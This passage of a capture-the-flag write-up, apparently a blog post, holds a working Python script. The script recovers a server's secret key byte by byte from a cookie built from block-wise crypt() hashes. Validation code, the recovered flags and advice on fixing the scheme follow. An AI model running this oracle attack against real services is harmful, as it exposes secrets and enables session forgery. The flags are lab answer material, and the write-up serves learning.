&lt;span class="n"&gt;HOST&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.113.155.191&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;CHARSET&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printable&lt;/span&gt;
&lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;SEP&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ua&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;HTTPConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getresponse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;setc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Set-Cookie&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secure_cookie=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secure_cookie=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;

&lt;span class="n"&gt;discovered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;pad&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;SEP&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;discovered&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="n"&gt;ua&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;
    &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;SEP&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;discovered&lt;/span&gt;
    &lt;span class="n"&gt;bidx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;

    &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ua&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="n"&gt;bidx&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;bidx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;            &lt;span class="c1"&gt;# partial final block -&amp;gt; end of key
&lt;/span&gt;        &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;CHARSET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;candidate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;candidate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;discovered&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;KEY(&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;discovered&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;) = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;discovered&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 extract_key.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is &lt;strong&gt;Q2&lt;/strong&gt;. Note the key is 154 characters — the loop only stops when the unknown position&lt;br&gt;
falls in the final, partial block.&lt;/p&gt;
&lt;h3&gt;
  
  
  Validation
&lt;/h3&gt;

&lt;p&gt;Re-hash the complete plaintext under the salt of a live cookie and compare byte-for-byte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CDLL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;libcrypt.so.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;restype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argtypes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_char_p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;key.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;ua&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Verify-UA-123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;HTTPConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.113.155.191&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getresponse&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secure_cookie=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getheader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Set-Cookie&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secure_cookie=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;salt&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guest:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;
&lt;span class="n"&gt;calc&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;salt:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;match:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;calc&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;salt: ej match: True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reconstructed cookie matches the server's for a 174-byte plaintext (22 blocks), confirming the&lt;br&gt;
key is exactly right.&lt;/p&gt;

&lt;h2&gt;
  
  
  Answers
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1 — web flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{ok_you_f0und_w3b_fl4g_6cbe2bc}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2 — encryption key&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why this is broken / how to fix it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ECB-style, per-block construction:&lt;/strong&gt; blocks are independent, so rearrangeable. Use an
authenticated encryption mode (AES-GCM, ChaCha20-Poly1305, libsodium secretbox) over the whole
message, or an HMAC over &lt;code&gt;user:UA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashing is not encryption:&lt;/strong&gt; &lt;code&gt;crypt()&lt;/code&gt; is a one-way hash; using it as a cookie cipher means the
server re-hashes on every request and the secret leaks through controlled block alignment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attacker-controlled block alignment:&lt;/strong&gt; any &lt;code&gt;user&lt;/code&gt;/&lt;code&gt;User-Agent&lt;/code&gt;-derived scheme that hashes
fixed-size chunks lets an attacker recover secrets one byte at a time whenever the unknown data
can be slid into a block with known neighbours.&lt;/li&gt;
&lt;li&gt;
